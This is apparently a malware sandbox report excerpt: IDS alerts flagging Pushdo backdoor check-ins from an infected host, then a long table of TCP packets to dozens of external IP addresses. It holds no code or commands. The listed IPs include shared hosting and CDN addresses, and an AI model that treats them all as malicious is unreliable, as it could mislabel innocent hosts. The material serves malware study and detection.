2024-10-25T11:18:57.214002+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53448	107.180.98.101	80	TCP
2024-10-25T11:18:57.387271+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53448	107.180.98.101	80	TCP
2024-10-25T11:18:57.424916+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53450	188.114.96.3	80	TCP
2024-10-25T11:18:57.616293+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53450	188.114.96.3	80	TCP
2024-10-25T11:18:57.816310+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53398	64.125.133.18	80	TCP
2024-10-25T11:18:58.548803+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53453	188.114.96.3	80	TCP
2024-10-25T11:18:58.564552+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53451	185.53.177.50	80	TCP
2024-10-25T11:18:58.766993+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53453	188.114.96.3	80	TCP
2024-10-25T11:18:58.903924+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53452	104.218.10.254	80	TCP
2024-10-25T11:19:00.197349+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53456	157.112.176.4	80	TCP
2024-10-25T11:19:00.725768+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53425	198.100.146.220	80	TCP
2024-10-25T11:19:00.874303+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53457	173.254.28.29	80	TCP
2024-10-25T11:19:01.381188+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53458	157.112.176.4	80	TCP
2024-10-25T11:19:01.916227+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53460	157.112.182.239	80	TCP
2024-10-25T11:19:02.158679+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53461	173.254.28.29	80	TCP
2024-10-25T11:19:02.699538+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53463	192.124.249.20	80	TCP
2024-10-25T11:19:02.743156+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53469	70.39.251.249	80	TCP
2024-10-25T11:19:02.808333+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53464	188.114.97.3	80	TCP
2024-10-25T11:19:02.847118+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53463	192.124.249.20	80	TCP
2024-10-25T11:19:02.901422+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53471	34.218.204.173	80	TCP
2024-10-25T11:19:02.909150+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53466	80.93.82.33	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 11:17:31.174223900 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:17:31.174361944 CEST	49761	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:17:31.179649115 CEST	80	49760	192.124.249.20	192.168.2.5
Oct 25, 2024 11:17:31.179702044 CEST	80	49761	137.118.26.67	192.168.2.5
Oct 25, 2024 11:17:31.179724932 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:17:31.179770947 CEST	49761	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:17:31.179929018 CEST	49761	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:17:31.179977894 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:17:31.185317993 CEST	80	49761	137.118.26.67	192.168.2.5
Oct 25, 2024 11:17:31.185363054 CEST	80	49760	192.124.249.20	192.168.2.5
Oct 25, 2024 11:17:31.186084986 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:17:31.192403078 CEST	80	49762	104.21.23.9	192.168.2.5
Oct 25, 2024 11:17:31.192461967 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:17:31.192585945 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:17:31.197829008 CEST	80	49762	104.21.23.9	192.168.2.5
Oct 25, 2024 11:17:31.211849928 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:31.217264891 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:31.217482090 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:31.217502117 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:31.217989922 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:31.223157883 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:31.223310947 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:17:31.223377943 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:31.223587990 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:31.228878975 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:17:31.350419998 CEST	49765	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:31.355829000 CEST	80	49765	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:31.355901957 CEST	49765	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:31.356044054 CEST	49765	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:31.361382008 CEST	80	49765	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:31.425896883 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:31.431258917 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:17:31.431349039 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:31.431488991 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:31.437124968 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:17:31.474330902 CEST	49768	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:31.479825020 CEST	80	49768	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:31.479949951 CEST	49768	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:31.480133057 CEST	49768	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:31.485445976 CEST	80	49768	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:31.843775034 CEST	80	49762	104.21.23.9	192.168.2.5
Oct 25, 2024 11:17:31.843849897 CEST	80	49760	192.124.249.20	192.168.2.5
Oct 25, 2024 11:17:31.843857050 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:17:31.843924046 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:17:31.863575935 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:17:31.863945007 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:17:31.868932962 CEST	80	49762	104.21.23.9	192.168.2.5
Oct 25, 2024 11:17:31.869328976 CEST	80	49760	192.124.249.20	192.168.2.5
Oct 25, 2024 11:17:31.923444033 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:31.928832054 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:31.928951979 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:31.929064989 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:31.934331894 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:31.948370934 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:31.948427916 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:31.949691057 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:31.955034018 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:31.993900061 CEST	80	49762	104.21.23.9	192.168.2.5
Oct 25, 2024 11:17:31.993959904 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:17:32.010248899 CEST	80	49760	192.124.249.20	192.168.2.5
Oct 25, 2024 11:17:32.013734102 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:17:32.071520090 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:17:32.071578026 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:32.087521076 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:32.092992067 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:17:32.148184061 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:17:32.148245096 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:32.157098055 CEST	80	49768	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.157171965 CEST	49768	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.164767027 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:32.170187950 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:17:32.184748888 CEST	80	49768	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.184871912 CEST	49768	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.184937000 CEST	49768	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.188868046 CEST	80	49765	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:32.188936949 CEST	49765	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:32.190480947 CEST	80	49768	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.192907095 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.193036079 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:32.193304062 CEST	49765	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:32.199357986 CEST	80	49765	34.218.204.173	192.168.2.5
Oct 25, 2024 11:17:32.199418068 CEST	49765	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:17:32.203619957 CEST	52540	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.203871012 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:32.208951950 CEST	80	52540	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.209137917 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.209194899 CEST	52540	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.209444046 CEST	52540	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.214692116 CEST	80	52540	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.264470100 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:17:32.269814968 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.269892931 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:17:32.270037889 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:17:32.275376081 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.328043938 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:17:32.328174114 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:17:32.328409910 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:17:32.328511000 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:17:32.447072029 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.447169065 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:32.447947979 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:32.449697971 CEST	52543	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:17:32.453588009 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.455219030 CEST	80	52543	185.15.129.58	192.168.2.5
Oct 25, 2024 11:17:32.455291033 CEST	52543	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:17:32.455419064 CEST	52543	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:17:32.460776091 CEST	80	52543	185.15.129.58	192.168.2.5
Oct 25, 2024 11:17:32.506151915 CEST	52544	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:17:32.511607885 CEST	80	52544	142.250.186.147	192.168.2.5
Oct 25, 2024 11:17:32.511763096 CEST	52544	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:17:32.511902094 CEST	52544	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:17:32.515114069 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:32.517201900 CEST	80	52544	142.250.186.147	192.168.2.5
Oct 25, 2024 11:17:32.520592928 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:32.520659924 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:32.520782948 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:32.526175022 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:32.603179932 CEST	52546	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:17:32.608647108 CEST	80	52546	34.149.87.45	192.168.2.5
Oct 25, 2024 11:17:32.608710051 CEST	52546	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:17:32.608844042 CEST	52546	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:17:32.614244938 CEST	80	52546	34.149.87.45	192.168.2.5
Oct 25, 2024 11:17:32.692897081 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.696033955 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:32.697187901 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:32.703124046 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.867156029 CEST	80	52540	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.867337942 CEST	52540	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.874511957 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874617100 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874624968 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874679089 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874681950 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874716043 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874736071 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874753952 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874773979 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874789000 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874818087 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874825954 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874861956 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874883890 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874883890 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874895096 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874924898 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874932051 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.874983072 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.874983072 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.880356073 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.880387068 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:32.880441904 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.880441904 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:32.895705938 CEST	80	52540	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.895883083 CEST	52540	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.895976067 CEST	52540	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:17:32.903579950 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.903618097 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.903652906 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.903687000 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.903690100 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:17:32.903721094 CEST	80	52541	104.26.7.221	192.168.2.5
Oct 25, 2024 11:17:32.903727055 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:17:32.903764963 CEST	52541	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:17:32.907094002 CEST	80	52540	3.19.116.195	192.168.2.5
Oct 25, 2024 11:17:32.939851999 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:32.941456079 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:33.046740055 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046798944 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046833992 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046866894 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046931028 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046931028 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.046948910 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046968937 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.046976089 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.046976089 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.046987057 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.047019958 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.047029972 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.047045946 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.047049046 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.047092915 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.047092915 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.047980070 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.048016071 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.048049927 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.048182011 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.048387051 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.048439026 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.048474073 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.048480988 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.048480988 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.048520088 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.050565004 CEST	80	52543	185.15.129.58	192.168.2.5
Oct 25, 2024 11:17:33.050785065 CEST	52543	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:17:33.050858021 CEST	52543	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:17:33.056801081 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:33.056952953 CEST	80	52543	185.15.129.58	192.168.2.5
Oct 25, 2024 11:17:33.062345982 CEST	80	52550	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:33.066200972 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:33.069426060 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:33.074749947 CEST	80	52550	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:33.115959883 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:33.121468067 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:33.121546030 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:33.121723890 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:33.127109051 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:33.144731045 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:17:33.150135040 CEST	80	52553	139.59.171.124	192.168.2.5
Oct 25, 2024 11:17:33.150217056 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:17:33.150374889 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:17:33.156218052 CEST	80	52553	139.59.171.124	192.168.2.5
Oct 25, 2024 11:17:33.190280914 CEST	52554	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:33.195683956 CEST	80	52554	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:33.195818901 CEST	52554	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:33.196003914 CEST	52554	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:33.202265024 CEST	80	52554	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:33.218616009 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.218669891 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.218710899 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.218710899 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.218739033 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.218774080 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.218810081 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:17:33.218827963 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.218827963 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.218871117 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:17:33.223252058 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:33.228805065 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:33.228873968 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:33.229079962 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:17:33.234530926 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:17:33.277230978 CEST	80	52546	34.149.87.45	192.168.2.5
Oct 25, 2024 11:17:33.277291059 CEST	52546	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:17:33.552369118 CEST	80	52544	142.250.186.147	192.168.2.5
Oct 25, 2024 11:17:33.552440882 CEST	52544	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:17:33.617291927 CEST	52557	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:33.622798920 CEST	80	52557	13.248.252.114	192.168.2.5
Oct 25, 2024 11:17:33.626883030 CEST	52557	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:33.633174896 CEST	52557	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:33.633801937 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:17:33.638801098 CEST	80	52557	13.248.252.114	192.168.2.5
Oct 25, 2024 11:17:33.639379978 CEST	80	52558	89.161.163.246	192.168.2.5
Oct 25, 2024 11:17:33.639566898 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:17:33.640182972 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:33.640273094 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:17:33.645575047 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:17:33.645627975 CEST	80	52558	89.161.163.246	192.168.2.5
Oct 25, 2024 11:17:33.645652056 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:33.645865917 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:17:33.651485920 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:17:33.669616938 CEST	80	52550	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:33.669857979 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:33.705918074 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:33.706451893 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:33.707483053 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:33.707531929 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:33.858850956 CEST	80	52554	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:33.859987020 CEST	52554	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:33.892064095 CEST	80	52554	54.161.222.85	192.168.2.5
Oct 25, 2024 11:17:33.892162085 CEST	52554	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:17:33.967907906 CEST	80	52553	139.59.171.124	192.168.2.5
Oct 25, 2024 11:17:33.968044996 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:17:34.008173943 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008210897 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008263111 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008290052 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008296967 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008332014 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008336067 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008384943 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008395910 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008419991 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008430958 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008469105 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008480072 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008502960 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008510113 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008538961 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.008544922 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.008588076 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.014144897 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.019578934 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.145934105 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.145975113 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.146003008 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.146009922 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.146033049 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.146044016 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.146059990 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.146091938 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.146275043 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.146305084 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:17:34.146326065 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:17:34.146348953 CEST	52552	80	192.168.2.5	118.27.125.181
